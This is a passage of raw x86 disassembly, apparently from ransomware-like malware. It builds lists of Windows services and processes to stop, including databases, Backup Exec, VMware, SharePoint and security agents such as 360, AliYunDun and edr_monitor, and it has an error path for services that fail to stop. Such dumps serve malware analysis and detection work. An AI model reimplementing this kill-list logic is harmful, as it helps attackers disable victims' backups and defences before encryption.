call fcn.004521f0
push str.SQLANYs_Sage_FAS_Fixed_Assets
lea ecx, [ebp - 0x210c]
mov byte [ebp - 4], 0xca
call fcn.004521f0
push str.MSSQL_VIM_SQLEXP
lea ecx, [ebp - 0x20f4]
mov byte [ebp - 4], 0xcb
call fcn.004521f0
push str.QcSoftService
lea ecx, [ebp - 0x20dc]
mov byte [ebp - 4], 0xcc
call fcn.004521f0
mov byte [ebp - 4], 0xcd
lea ecx, [ebp - 0x20c4]
push str.VMTools
call fcn.004521f0
push str.VGAuthService
lea ecx, [ebp - 0x20ac]
mov byte [ebp - 4], 0xce
call fcn.004521f0
push str.MSDTC
lea ecx, [ebp - 0x2094]
mov byte [ebp - 4], 0xcf
call fcn.004521f0
push str.TeamViewer
lea ecx, [ebp - 0x207c]
mov byte [ebp - 4], 0xd0
call fcn.004521f0
push str.RabbitMQ
lea ecx, [ebp - 0x2064]
mov byte [ebp - 4], 0xd1
call fcn.004521f0
push str.SSMonitorService
lea ecx, [ebp - 0x204c]
mov byte [ebp - 4], 0xd2
call fcn.004521f0
push str.SSSyncService
lea ecx, [ebp - 0x2034]
mov byte [ebp - 4], 0xd3
call fcn.004521f0
push str.TPlusStdAppService1300
lea ecx, [ebp - 0x201c]
mov byte [ebp - 4], 0xd4
call fcn.004521f0
push str.MSSQL_SQL2008
lea ecx, [ebp - 0x2004]
mov byte [ebp - 4], 0xd5
call fcn.004521f0
push str.SQLAgent_SQL2008
lea ecx, [ebp - 0x1fec]
mov byte [ebp - 4], 0xd6
call fcn.004521f0
push str.TPlusStdTaskService1300
lea ecx, [ebp - 0x1fd4]
mov byte [ebp - 4], 0xd7
call fcn.004521f0
push str.TPlusStdUpgradeService1300
lea ecx, [ebp - 0x1fbc]
mov byte [ebp - 4], 0xd8
call fcn.004521f0
push str.VirboxWebServer
lea ecx, [ebp - 0x1fa4]
mov byte [ebp - 4], 0xd9
call fcn.004521f0
push str.jhi_service
lea ecx, [ebp - 0x1f8c]
mov byte [ebp - 4], 0xda
call fcn.004521f0
push 0x62dfa4
lea ecx, [ebp - 0x1f74]
mov byte [ebp - 4], 0xdb
call fcn.004521f0
push str.eCardMPService
lea ecx, [ebp - 0x1f5c]
mov byte [ebp - 4], 0xdc
call fcn.004521f0
push str.EnergyDataService
lea ecx, [ebp - 0x1f44]
mov byte [ebp - 4], 0xdd
call fcn.004521f0
push str.UI0Detect
lea ecx, [ebp - 0x1f2c]
mov byte [ebp - 4], 0xde
call fcn.004521f0
push str.K3MobileService
lea ecx, [ebp - 0x1f14]
mov byte [ebp - 4], 0xdf
call fcn.004521f0
push str.TCPIDDAService
lea ecx, [ebp - 0x1efc]
mov byte [ebp - 4], 0xe0
call fcn.004521f0
push str.WebAttendServer
lea ecx, [ebp - 0x1ee4]
mov byte [ebp - 4], 0xe1
call fcn.004521f0
push str.UIODetect
lea ecx, [ebp - 0x1ecc]
mov byte [ebp - 4], 0xe2
call fcn.004521f0
push str.VMAuthdService
lea ecx, [ebp - 0x1eb4]
mov byte [ebp - 4], 0xe3
call fcn.004521f0
push str.VMUSBArbService
lea ecx, [ebp - 0x1e9c]
mov byte [ebp - 4], 0xe4
call fcn.004521f0
push str.VMwareHostd
lea ecx, [ebp - 0x1e84]
mov byte [ebp - 4], 0xe5
call fcn.004521f0
push str.VmAgentDaemon
lea ecx, [ebp - 0x1e6c]
mov byte [ebp - 4], 0xe6
call fcn.004521f0
push str.OpenSSHd
lea ecx, [ebp - 0x1e54]
mov byte [ebp - 4], 0xe7
call fcn.004521f0
push str.eSightService
lea ecx, [ebp - 0x1e3c]
mov byte [ebp - 4], 0xe8
call fcn.004521f0
push str.apachezt
lea ecx, [ebp - 0x1e24]
mov byte [ebp - 4], 0xe9
call fcn.004521f0
push str.Jenkins
lea ecx, [ebp - 0x1e0c]
mov byte [ebp - 4], 0xea
call fcn.004521f0
push str.secbizsrv
lea ecx, [ebp - 0x1df4]
mov byte [ebp - 4], 0xeb
call fcn.004521f0
push str.MSMQ
lea ecx, [ebp - 0x1ddc]
mov byte [ebp - 4], 0xec
call fcn.004521f0
push str.smtpsvrJT
lea ecx, [ebp - 0x1dc4]
mov byte [ebp - 4], 0xed
call fcn.004521f0
push str.zyb_sync
lea ecx, [ebp - 0x1dac]
mov byte [ebp - 4], 0xee
call fcn.004521f0
push str.360EntHttpServer
lea ecx, [ebp - 0x1d94]
mov byte [ebp - 4], 0xef
call fcn.004521f0
push str.360EntSvc
lea ecx, [ebp - 0x1d7c]
mov byte [ebp - 4], 0xf0
call fcn.004521f0
push str.360EntClientSvc
lea ecx, [ebp - 0x1d64]
mov byte [ebp - 4], 0xf1
call fcn.004521f0
push str.NFWebServer
lea ecx, [ebp - 0x1d4c]
mov byte [ebp - 4], 0xf2
call fcn.004521f0
push str.wampapache
lea ecx, [ebp - 0x1d34]
mov byte [ebp - 4], 0xf3
call fcn.004521f0
push str.MSSEARCH
lea ecx, [ebp - 0x1d1c]
mov byte [ebp - 4], 0xf4
call fcn.004521f0
push str.msftesql
lea ecx, [ebp - 0x1d04]
mov byte [ebp - 4], 0xf5
call fcn.004521f0
push str.OracleDBConcoleorcl
lea ecx, [ebp - 0x1cec]
mov byte [ebp - 4], 0xf6
call fcn.004521f0
push str.OracleJobSchedulerORCL
lea ecx, [ebp - 0x1cd4]
mov byte [ebp - 4], 0xf7
call fcn.004521f0
push str.OracleMTSRecoveryService
lea ecx, [ebp - 0x1cbc]
mov byte [ebp - 4], 0xf8
call fcn.004521f0
push str.OracleOraDb11g_home1ClrAgent
lea ecx, [ebp - 0x1ca4]
mov byte [ebp - 4], 0xf9
call fcn.004521f0
push str.OracleOraDb11g_home1TNSListener
lea ecx, [ebp - 0x1c8c]
mov byte [ebp - 4], 0xfa
call fcn.004521f0
push str.OracleVssWriterORCL
lea ecx, [ebp - 0x1c74]
mov byte [ebp - 4], 0xfb
call fcn.004521f0
push str.OracleServiceORCL
lea ecx, [ebp - 0x1c5c]
mov byte [ebp - 4], 0xfc
call fcn.004521f0
push str.aspnet_state
lea ecx, [ebp - 0x1c44]
mov byte [ebp - 4], 0xfd
call fcn.004521f0
mov byte [ebp - 4], 0xfe
push str.Redis
lea ecx, [ebp - 0x1c2c]
call fcn.004521f0
push str.JhTask
lea ecx, [ebp - 0x1c14]
mov byte [ebp - 4], 0xff
call fcn.004521f0
push str.ImeDictUpdateService
lea ecx, [ebp - 0x1bfc]
mov dword [ebp - 4], 0x100
call fcn.004521f0
push str.MCService
lea ecx, [ebp - 0x1be4]
mov byte [ebp - 4], 1
call fcn.004521f0
push str.allpass_redisservice_port21160
lea ecx, [ebp - 0x1bcc]
mov byte [ebp - 4], 2
call fcn.004521f0
push str.ftnlsv3
lea ecx, [ebp - 0x1bb4]
mov byte [ebp - 4], 3
call fcn.004521f0
push str.ftnlses3
lea ecx, [ebp - 0x1b9c]
mov byte [ebp - 4], 4
call fcn.004521f0
push str.FxService
lea ecx, [ebp - 0x1b84]
mov byte [ebp - 4], 5
call fcn.004521f0
push str.ftusbrdwks
lea ecx, [ebp - 0x1b6c]
mov byte [ebp - 4], 6
call fcn.004521f0
push str.ftusbrdsrv
lea ecx, [ebp - 0x1b54]
mov byte [ebp - 4], 7
call fcn.004521f0
push str.wwbizsrv
lea ecx, [ebp - 0x1b3c]
mov byte [ebp - 4], 8
call fcn.004521f0
push str.qemu_ga
lea ecx, [ebp - 0x1b24]
mov byte [ebp - 4], 9
call fcn.004521f0
push str.AlibabaProtect
lea ecx, [ebp - 0x1b0c]
mov byte [ebp - 4], 0xa
call fcn.004521f0
push str.ZTEVdservice
lea ecx, [ebp - 0x1af4]
mov byte [ebp - 4], 0xb
call fcn.004521f0
push str.kbasesrv
lea ecx, [ebp - 0x1adc]
mov byte [ebp - 4], 0xc
call fcn.004521f0
push str.MMRHookService
lea ecx, [ebp - 0x1ac4]
mov byte [ebp - 4], 0xd
call fcn.004521f0
mov byte [ebp - 4], 0xe
push str.IpOverUsbSvc
lea ecx, [ebp - 0x1aac]
call fcn.004521f0
push str.KuaiYunTools
lea ecx, [ebp - 0x1a94]
mov byte [ebp - 4], 0xf
call fcn.004521f0
push str.KMSELDI
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 4], 0x10
call fcn.004521f0
push str.btPanel
lea ecx, [ebp - 0x1a64]
mov byte [ebp - 4], 0x11
call fcn.004521f0
push str.Protect_2345Explorer
lea ecx, [ebp - 0x1a4c]
mov byte [ebp - 4], 0x12
call fcn.004521f0
push str.2345PicSvc
lea ecx, [ebp - 0x1a34]
mov byte [ebp - 4], 0x13
call fcn.004521f0
push str.vmware_converter_agent
lea ecx, [ebp - 0x1a1c]
mov byte [ebp - 4], 0x14
call fcn.004521f0
push str.vmware_converter_server
lea ecx, [ebp - 0x1a04]
mov byte [ebp - 4], 0x15
call fcn.004521f0
push str.vmware_converter_worker
lea ecx, [ebp - 0x19ec]
mov byte [ebp - 4], 0x16
call fcn.004521f0
push str.QQCertificateService
lea ecx, [ebp - 0x19d4]
mov byte [ebp - 4], 0x17
call fcn.004521f0
push str.OracleRemExecService
lea ecx, [ebp - 0x19bc]
mov byte [ebp - 4], 0x18
call fcn.004521f0
push str.GPSDaemon
lea ecx, [ebp - 0x19a4]
mov byte [ebp - 4], 0x19
call fcn.004521f0
push str.GPSUserSvr
lea ecx, [ebp - 0x198c]
mov byte [ebp - 4], 0x1a
call fcn.004521f0
push str.GPSDownSvr
lea ecx, [ebp - 0x1974]
mov byte [ebp - 4], 0x1b
call fcn.004521f0
push str.GPSStorageSvr
lea ecx, [ebp - 0x195c]
mov byte [ebp - 4], 0x1c
call fcn.004521f0
push str.GPSDataProcSvr
lea ecx, [ebp - 0x1944]
mov byte [ebp - 4], 0x1d
call fcn.004521f0
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x192c]
push str.GPSGatewaySvr
call fcn.004521f0
push str.GPSMediaSvr
lea ecx, [ebp - 0x1914]
mov byte [ebp - 4], 0x1f
call fcn.004521f0
push str.GPSLoginSvr
lea ecx, [ebp - 0x18fc]
mov byte [ebp - 4], 0x20
call fcn.004521f0
push str.GPSTomcat6
lea ecx, [ebp - 0x18e4]
mov byte [ebp - 4], 0x21
call fcn.004521f0
push str.GPSMysqld
lea ecx, [ebp - 0x18cc]
mov byte [ebp - 4], 0x22
call fcn.004521f0
push str.GPSFtpd
lea ecx, [ebp - 0x18b4]
mov byte [ebp - 4], 0x23
call fcn.004521f0
push str.BackupExecAgentAccelerator
lea ecx, [ebp - 0x189c]
mov byte [ebp - 4], 0x24
call fcn.004521f0
push str.bedbg
lea ecx, [ebp - 0x1884]
mov byte [ebp - 4], 0x25
call fcn.004521f0
push str.BackupExecDeviceMediaService
lea ecx, [ebp - 0x186c]
mov byte [ebp - 4], 0x26
call fcn.004521f0
push str.BackupExecRPCService
lea ecx, [ebp - 0x1854]
mov byte [ebp - 4], 0x27
call fcn.004521f0
push str.BackupExecAgentBrowser
lea ecx, [ebp - 0x183c]
mov byte [ebp - 4], 0x28
call fcn.004521f0
push str.BackupExecJobEngine
lea ecx, [ebp - 0x1824]
mov byte [ebp - 4], 0x29
call fcn.004521f0
push str.BackupExecManagementService
lea ecx, [ebp - 0x180c]
mov byte [ebp - 4], 0x2a
call fcn.004521f0
push 0x62e4a4
lea ecx, [ebp - 0x17f4]
mov byte [ebp - 4], 0x2b
call fcn.004521f0
push str.TxQBService
lea ecx, [ebp - 0x17dc]
mov byte [ebp - 4], 0x2c
call fcn.004521f0
push str.Gailun_Downloader
lea ecx, [ebp - 0x17c4]
mov byte [ebp - 4], 0x2d
call fcn.004521f0
push str.RemoteAssistService
lea ecx, [ebp - 0x17ac]
mov byte [ebp - 4], 0x2e
call fcn.004521f0
push str.YunService
lea ecx, [ebp - 0x1794]
mov byte [ebp - 4], 0x2f
call fcn.004521f0
push str.Serv_U
lea ecx, [ebp - 0x177c]
mov byte [ebp - 4], 0x30
call fcn.004521f0
push str.OpenFastAssist
lea ecx, [ebp - 0x1764]
mov byte [ebp - 4], 0x31
call fcn.004521f0
push str.asComSvc
lea ecx, [ebp - 0x174c]
mov byte [ebp - 4], 0x32
call fcn.004521f0
push str.OfficeUpdateService
lea ecx, [ebp - 0x1734]
mov byte [ebp - 4], 0x33
call fcn.004521f0
push str.RtcSrv
lea ecx, [ebp - 0x171c]
mov byte [ebp - 4], 0x34
call fcn.004521f0
push str.RTCASMCU
lea ecx, [ebp - 0x1704]
mov byte [ebp - 4], 0x35
call fcn.004521f0
push 0x62e534
lea ecx, [ebp - 0x16ec]
mov byte [ebp - 4], 0x36
call fcn.004521f0
push str.MASTER
lea ecx, [ebp - 0x16d4]
mov byte [ebp - 4], 0x37
call fcn.004521f0
push str.NscAuthService
lea ecx, [ebp - 0x16bc]
mov byte [ebp - 4], 0x38
call fcn.004521f0
push str.MSCRMUnzipService
lea ecx, [ebp - 0x16a4]
mov byte [ebp - 4], 0x39
call fcn.004521f0
push str.MSCRMAsyncService_maintenance
lea ecx, [ebp - 0x168c]
mov byte [ebp - 4], 0x3a
call fcn.004521f0
push str.MSCRMAsyncService
lea ecx, [ebp - 0x1674]
mov byte [ebp - 4], 0x3b
call fcn.004521f0
push str.REPLICA
lea ecx, [ebp - 0x165c]
mov byte [ebp - 4], 0x3c
call fcn.004521f0
push str.RTCATS
lea ecx, [ebp - 0x1644]
mov byte [ebp - 4], 0x3d
call fcn.004521f0
push str.RTCAVMCU
lea ecx, [ebp - 0x162c]
mov byte [ebp - 4], 0x3e
call fcn.004521f0
push str.RtcQms
lea ecx, [ebp - 0x1614]
mov byte [ebp - 4], 0x3f
call fcn.004521f0
push str.RTCMEETINGMCU
lea ecx, [ebp - 0x15fc]
mov byte [ebp - 4], 0x40
call fcn.004521f0
push str.RTCIMMCU
lea ecx, [ebp - 0x15e4]
mov byte [ebp - 4], 0x41
call fcn.004521f0
push str.RTCDATAMCU
lea ecx, [ebp - 0x15cc]
mov byte [ebp - 4], 0x42
call fcn.004521f0
push str.RTCCDR
lea ecx, [ebp - 0x15b4]
mov byte [ebp - 4], 0x43
call fcn.004521f0
push str.ProjectEventService16
lea ecx, [ebp - 0x159c]
mov byte [ebp - 4], 0x44
call fcn.004521f0
push str.ProjectQueueService16
lea ecx, [ebp - 0x1584]
mov byte [ebp - 4], 0x45
call fcn.004521f0
push str.SPAdminV4
lea ecx, [ebp - 0x156c]
mov byte [ebp - 4], 0x46
call fcn.004521f0
push str.SPSearchHostController
lea ecx, [ebp - 0x1554]
mov byte [ebp - 4], 0x47
call fcn.004521f0
push str.SPTimerV4
lea ecx, [ebp - 0x153c]
mov byte [ebp - 4], 0x48
call fcn.004521f0
push str.SPTraceV4
lea ecx, [ebp - 0x1524]
mov byte [ebp - 4], 0x49
call fcn.004521f0
push str.OSearch16
lea ecx, [ebp - 0x150c]
mov byte [ebp - 4], 0x4a
call fcn.004521f0
push str.ProjectCalcService16
lea ecx, [ebp - 0x14f4]
mov byte [ebp - 4], 0x4b
call fcn.004521f0
push str.c2wts
lea ecx, [ebp - 0x14dc]
mov byte [ebp - 4], 0x4c
call fcn.004521f0
push str.AppFabricCachingService
lea ecx, [ebp - 0x14c4]
mov byte [ebp - 4], 0x4d
call fcn.004521f0
push str.ADWS
lea ecx, [ebp - 0x14ac]
mov byte [ebp - 4], 0x4e
call fcn.004521f0
mov byte [ebp - 4], 0x4f
push str.MotionBoard57
lea ecx, [ebp - 0x1494]
call fcn.004521f0
push str.MotionBoardRCService57
lea ecx, [ebp - 0x147c]
mov byte [ebp - 4], 0x50
call fcn.004521f0
push str.vsvnjobsvc
lea ecx, [ebp - 0x1464]
mov byte [ebp - 4], 0x51
call fcn.004521f0
push str.VisualSVNServer
lea ecx, [ebp - 0x144c]
mov byte [ebp - 4], 0x52
call fcn.004521f0
push str.BestSyncSvc
lea ecx, [ebp - 0x1434]
mov byte [ebp - 4], 0x53
call fcn.004521f0
push str.LPManager
lea ecx, [ebp - 0x141c]
mov byte [ebp - 4], 0x54
call fcn.004521f0
push str.MediatekRegistryWriter
lea ecx, [ebp - 0x1404]
mov byte [ebp - 4], 0x55
call fcn.004521f0
push str.RaAutoInstSrv_RT2870
lea ecx, [ebp - 0x13ec]
mov byte [ebp - 4], 0x56
call fcn.004521f0
push str.CobianBackup10
lea ecx, [ebp - 0x13d4]
mov byte [ebp - 4], 0x57
call fcn.004521f0
push str.SQLANYs_sem5
lea ecx, [ebp - 0x13bc]
mov byte [ebp - 4], 0x58
call fcn.004521f0
push str.CASLicenceServer
lea ecx, [ebp - 0x13a4]
mov byte [ebp - 4], 0x59
call fcn.004521f0
push str.SQLService
lea ecx, [ebp - 0x138c]
mov byte [ebp - 4], 0x5a
call fcn.004521f0
push str.semwebsrv
lea ecx, [ebp - 0x1374]
mov byte [ebp - 4], 0x5b
call fcn.004521f0
push str.TbossSystem
lea ecx, [ebp - 0x135c]
mov byte [ebp - 4], 0x5c
call fcn.004521f0
push str.ErpEnvSvc
lea ecx, [ebp - 0x1344]
mov byte [ebp - 4], 0x5d
call fcn.004521f0
push str.Mysoft.Autoupgrade.DispatchService
lea ecx, [ebp - 0x132c]
mov byte [ebp - 4], 0x5e
call fcn.004521f0
mov byte [ebp - 4], 0x5f
push str.Mysoft.Autoupgrade.UpdateService
lea ecx, [ebp - 0x1314]
call fcn.004521f0
push str.Mysoft.Config.WindowsService
lea ecx, [ebp - 0x12fc]
mov byte [ebp - 4], 0x60
call fcn.004521f0
push str.Mysoft.DataCenterService
lea ecx, [ebp - 0x12e4]
mov byte [ebp - 4], 0x61
call fcn.004521f0
push str.Mysoft.SchedulingService
lea ecx, [ebp - 0x12cc]
mov byte [ebp - 4], 0x62
call fcn.004521f0
push str.Mysoft.Setup.InstallService
lea ecx, [ebp - 0x12b4]
mov byte [ebp - 4], 0x63
call fcn.004521f0
push str.MysoftUpdate
lea ecx, [ebp - 0x129c]
mov byte [ebp - 4], 0x64
call fcn.004521f0
push str.edr_monitor
lea ecx, [ebp - 0x1284]
mov byte [ebp - 4], 0x65
call fcn.004521f0
push str.abs_deployer
lea ecx, [ebp - 0x126c]
mov byte [ebp - 4], 0x66
call fcn.004521f0
push str.savsvc
lea ecx, [ebp - 0x1254]
mov byte [ebp - 4], 0x67
call fcn.004521f0
push str.ShareBoxMonitorService
lea ecx, [ebp - 0x123c]
mov byte [ebp - 4], 0x68
call fcn.004521f0
push str.ShareBoxService
lea ecx, [ebp - 0x1224]
mov byte [ebp - 4], 0x69
call fcn.004521f0
push str.CloudExchangeService
lea ecx, [ebp - 0x120c]
mov byte [ebp - 4], 0x6a
call fcn.004521f0
push 0x62e8c4
lea ecx, [ebp - 0x11f4]
mov byte [ebp - 4], 0x6b
call fcn.004521f0
push str.EASService
lea ecx, [ebp - 0x11dc]
mov byte [ebp - 4], 0x6c
call fcn.004521f0
push str.KICkSvr
lea ecx, [ebp - 0x11c4]
mov byte [ebp - 4], 0x6d
call fcn.004521f0
push str.U8SmsSrv
lea ecx, [ebp - 0x11ac]
mov byte [ebp - 4], 0x6e
call fcn.004521f0
mov byte [ebp - 4], 0x6f
lea ecx, [ebp - 0x1194]
push str.OfficeClearCache
call fcn.004521f0
push str.TurboCRM70
lea ecx, [ebp - 0x117c]
mov byte [ebp - 4], 0x70
call fcn.004521f0
push str.U8DispatchService
lea ecx, [ebp - 0x1164]
mov byte [ebp - 4], 0x71
call fcn.004521f0
push str.U8EISService
lea ecx, [ebp - 0x114c]
mov byte [ebp - 4], 0x72
call fcn.004521f0
push str.U8EncryptService
lea ecx, [ebp - 0x1134]
mov byte [ebp - 4], 0x73
call fcn.004521f0
push str.U8GCService
lea ecx, [ebp - 0x111c]
mov byte [ebp - 4], 0x74
call fcn.004521f0
push str.U8KeyManagePool
lea ecx, [ebp - 0x1104]
mov byte [ebp - 4], 0x75
call fcn.004521f0
push str.U8SCMPool
lea ecx, [ebp - 0x10ec]
mov byte [ebp - 4], 0x76
call fcn.004521f0
push str.U8SLReportService
lea ecx, [ebp - 0x10d4]
mov byte [ebp - 4], 0x77
call fcn.004521f0
push str.U8TaskService
lea ecx, [ebp - 0x10bc]
mov byte [ebp - 4], 0x78
call fcn.004521f0
push str.UFAllNet
lea ecx, [ebp - 0x10a4]
mov byte [ebp - 4], 0x79
call fcn.004521f0
push str.UFReportService
lea ecx, [ebp - 0x108c]
mov byte [ebp - 4], 0x7a
call fcn.004521f0
push str.UTUService
lea ecx, [ebp - 0x1074]
mov byte [ebp - 4], 0x7b
call fcn.004521f0
lea ecx, [ebp - 0x2a0c]
mov dword [ebp - 4], 0x17c
push ecx
lea eax, [ebp - 0x105c]
push eax
push ecx
lea ecx, [ebp - 0x15c]
call fcn.00451ba0
push fcn.00452050
push 0x112
push 0x18
lea eax, [ebp - 0x2a0c]
mov byte [ebp - 4], 0x7e
push eax
call fcn.005815fa
mov esi, dword [ebp - 0x15c]
mov edi, dword [ebp - 0x158]
cmp esi, edi
je 0x451023
mov ecx, esi
call fcn.0044de00
test al, al
jne 0x45101c
mov edx, str.Failed_to_stop_service
mov ecx, 0x6381f8
call fcn.00456e00
mov edx, esi
mov ecx, eax
call fcn.00457160
push eax
call fcn.004570b0
add esp, 4
add esi, 0x18
cmp esi, edi
jne 0x450ff0
push ecx
lea ecx, [ebp - 0x180]
call fcn.0044e5f0
push str.Monitor.exe
lea ecx, [ebp - 0x105c]
call fcn.004521f0
push str.AzureArcSysTray.exe
lea ecx, [ebp - 0x1044]
mov byte [ebp - 4], 0x7f
call fcn.004521f0
push str.AliYunDun.exe
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0x80
call fcn.004521f0
push str.AliYunDunMonitor.exe
lea ecx, [ebp - 0x1014]
mov byte [ebp - 4], 0x81
call fcn.004521f0
push str.TiWorker.exe
lea ecx, [ebp - 0xffc]
mov byte [ebp - 4], 0x82
call fcn.004521f0
push str.wpscloudsvr.exe
lea ecx, [ebp - 0xfe4]
mov byte [ebp - 4], 0x83
call fcn.004521f0
push str.gnCloudBackup.exe
lea ecx, [ebp - 0xfcc]
mov byte [ebp - 4], 0x84
call fcn.004521f0
push str.WeMail.exe
lea ecx, [ebp - 0xfb4]
mov byte [ebp - 4], 0x85
call fcn.004521f0
push str.WXDrive.exe
lea ecx, [ebp - 0xf9c]
mov byte [ebp - 4], 0x86
call fcn.004521f0
push str.WXWorkWeb.exe
lea ecx, [ebp - 0xf84]
mov byte [ebp - 4], 0x87
call fcn.004521f0
push str.WeChatAppEx.exe
lea ecx, [ebp - 0xf6c]
mov byte [ebp - 4], 0x88
call fcn.004521f0
push str.360UDiskPro.exe
lea ecx, [ebp - 0xf54]
mov byte [ebp - 4], 0x89
call fcn.004521f0
push str.SecurityHealthService.exe
lea ecx, [ebp - 0xf3c]
mov byte [ebp - 4], 0x8a
call fcn.004521f0
push str.gnHostAid.exe
lea ecx, [ebp - 0xf24]
mov byte [ebp - 4], 0x8b
call fcn.004521f0
push str.360Tray.exe
lea ecx, [ebp - 0xf0c]
mov byte [ebp - 4], 0x8c
call fcn.004521f0
push str.SeAppService.exe
lea ecx, [ebp - 0xef4]
mov byte [ebp - 4], 0x8d
call fcn.004521f0
push str.msmdsrv.exe
lea ecx, [ebp - 0xedc]
mov byte [ebp - 4], 0x8e
call fcn.004521f0
push str.YunDetectService.exe
lea ecx, [ebp - 0xec4]
mov byte [ebp - 4], 0x8f
call fcn.004521f0
push 0x62eb00
lea ecx, [ebp - 0xeac]
mov byte [ebp - 4], 0x90
call fcn.004521f0
push str.BackupProxyService.exe
lea ecx, [ebp - 0xe94]
mov byte [ebp - 4], 0x91
call fcn.004521f0
push str.WUDFHost.exe
lea ecx, [ebp - 0xe7c]
mov byte [ebp - 4], 0x92
call fcn.004521f0
push str.QQPCLeakScan.exe
lea ecx, [ebp - 0xe64]
mov byte [ebp - 4], 0x93
call fcn.004521f0
push 0x62eb4c
lea ecx, [ebp - 0xe4c]
mov byte [ebp - 4], 0x94
call fcn.004521f0
push str.sgagent.exe
lea ecx, [ebp - 0xe34]
mov byte [ebp - 4], 0x95
call fcn.004521f0
push str.YDLive.exe
lea ecx, [ebp - 0xe1c]
mov byte [ebp - 4], 0x96
call fcn.004521f0
push str.YDService.exe
lea ecx, [ebp - 0xe04]
mov byte [ebp - 4], 0x97
call fcn.004521f0
push 0x62eb88
lea ecx, [ebp - 0xdec]
mov byte [ebp - 4], 0x98
call fcn.004521f0
push str.AIOTools.exe
lea ecx, [ebp - 0xdd4]
mov byte [ebp - 4], 0x99
call fcn.004521f0
push str.QQPCExternal.exe
lea ecx, [ebp - 0xdbc]
mov byte [ebp - 4], 0x9a
call fcn.004521f0
push str.ZhuDongFangYu.exe
lea ecx, [ebp - 0xda4]
mov byte [ebp - 4], 0x9b
call fcn.004521f0
push str.BaradAgent.exe
lea ecx, [ebp - 0xd8c]
mov byte [ebp - 4], 0x9c
call fcn.004521f0
push 0x62ebe0
lea ecx, [ebp - 0xd74]
mov byte [ebp - 4], 0x9d
call fcn.004521f0
push str.sqlbrowser.exe
lea ecx, [ebp - 0xd5c]
mov byte [ebp - 4], 0x9e
call fcn.004521f0
push str.AIOServer.exe
lea ecx, [ebp - 0xd44]
mov byte [ebp - 4], 0x9f
call fcn.004521f0
push str.GnHostService.exe
lea ecx, [ebp - 0xd2c]
mov byte [ebp - 4], 0xa0
call fcn.004521f0
push str.gnwayDDNS.exe
lea ecx, [ebp - 0xd14]
mov byte [ebp - 4], 0xa1
call fcn.004521f0
push str.KoronDBSV.exe
lea ecx, [ebp - 0xcfc]
mov byte [ebp - 4], 0xa2
call fcn.004521f0
push str.QiyiService.exe
lea ecx, [ebp - 0xce4]
mov byte [ebp - 4], 0xa3
call fcn.004521f0
push 0x62ec5c
lea ecx, [ebp - 0xccc]
mov byte [ebp - 4], 0xa4
call fcn.004521f0
push str.Apache.exe
lea ecx, [ebp - 0xcb4]
mov byte [ebp - 4], 0xa5
call fcn.004521f0
push str.mysqld_nt.exe
lea ecx, [ebp - 0xc9c]
mov byte [ebp - 4], 0xa6
call fcn.004521f0
push str.CASAGSService.exe
lea ecx, [ebp - 0xc84]
mov byte [ebp - 4], 0xa7
call fcn.004521f0
push str.CASDDNSService.exe
lea ecx, [ebp - 0xc6c]
mov byte [ebp - 4], 0xa8
call fcn.004521f0
push str.CasLicenceServer.exe
lea ecx, [ebp - 0xc54]
mov byte [ebp - 4], 0xa9
call fcn.004521f0
push str.CASRapService.exe
lea ecx, [ebp - 0xc3c]
mov byte [ebp - 4], 0xaa
call fcn.004521f0
push str.CASVirtualDiskService.exe
lea ecx, [ebp - 0xc24]
mov byte [ebp - 4], 0xab
call fcn.004521f0
push str.CASWebServer.exe
lea ecx, [ebp - 0xc0c]
mov byte [ebp - 4], 0xac
call fcn.004521f0
push str.CASXMLService.exe
lea ecx, [ebp - 0xbf4]
mov byte [ebp - 4], 0xad
call fcn.004521f0
mov byte [ebp - 4], 0xae
push str.sqlserv.exe
lea ecx, [ebp - 0xbdc]
call fcn.004521f0
push str.sqlservr.exe
lea ecx, [ebp - 0xbc4]
mov byte [ebp - 4], 0xaf
call fcn.004521f0
push str.mysql.exe
lea ecx, [ebp - 0xbac]
mov byte [ebp - 4], 0xb0
call fcn.004521f0
push str.mysqld.exe
lea ecx, [ebp - 0xb94]
mov byte [ebp - 4], 0xb1
call fcn.004521f0
push str.httpd.exe
lea ecx, [ebp - 0xb7c]
mov byte [ebp - 4], 0xb2
call fcn.004521f0
push str.VSSVC.exe
lea ecx, [ebp - 0xb64]
mov byte [ebp - 4], 0xb3
call fcn.004521f0
push str.HipsDaemon.exe
lea ecx, [ebp - 0xb4c]
mov byte [ebp - 4], 0xb4
call fcn.004521f0
push str.MsgSrv.exe
lea ecx, [ebp - 0xb34]
mov byte [ebp - 4], 0xb5
call fcn.004521f0
push str.QQProtect.exe
lea ecx, [ebp - 0xb1c]
mov byte [ebp - 4], 0xb6
call fcn.004521f0
push str.ReportingServicesService.exe
lea ecx, [ebp - 0xb04]
mov byte [ebp - 4], 0xb7
call fcn.004521f0
push str.RUsbServer.exe
lea ecx, [ebp - 0xaec]
mov byte [ebp - 4], 0xb8
call fcn.004521f0
push str.SQLAGENT.EXE
lea ecx, [ebp - 0xad4]
mov byte [ebp - 4], 0xb9
call fcn.004521f0
push str.sqlwriter.exe
lea ecx, [ebp - 0xabc]
mov byte [ebp - 4], 0xba
call fcn.004521f0
push str.SunloginClient.exe
lea ecx, [ebp - 0xaa4]
mov byte [ebp - 4], 0xbb
call fcn.004521f0
push str.AdminConsole.exe
lea ecx, [ebp - 0xa8c]
mov byte [ebp - 4], 0xbc
call fcn.004521f0
push str.KSCloudGuardianX64.exe
lea ecx, [ebp - 0xa74]
mov byte [ebp - 4], 0xbd
call fcn.004521f0
mov byte [ebp - 4], 0xbe
push str.KSCloudPlatform2X64.exe
lea ecx, [ebp - 0xa5c]
call fcn.004521f0
push str.KSCoreServer.exe
lea ecx, [ebp - 0xa44]
mov byte [ebp - 4], 0xbf
call fcn.004521f0
push str.KSEasyPrint.exe
lea ecx, [ebp - 0xa2c]
mov byte [ebp - 4], 0xc0
call fcn.004521f0
push str.KSGatewayX64.exe
lea ecx, [ebp - 0xa14]
mov byte [ebp - 4], 0xc1
call fcn.004521f0
push str.QQPCRTP.exe
lea ecx, [ebp - 0x9fc]
mov byte [ebp - 4], 0xc2
call fcn.004521f0
push str.GSLicenseSvr.exe
lea ecx, [ebp - 0x9e4]
mov byte [ebp - 4], 0xc3
call fcn.004521f0
push str.BACSTray.exe
lea ecx, [ebp - 0x9cc]
mov byte [ebp - 4], 0xc4
call fcn.004521f0
push str.sqlmangr.exe
lea ecx, [ebp - 0x9b4]
mov byte [ebp - 4], 0xc5
call fcn.004521f0
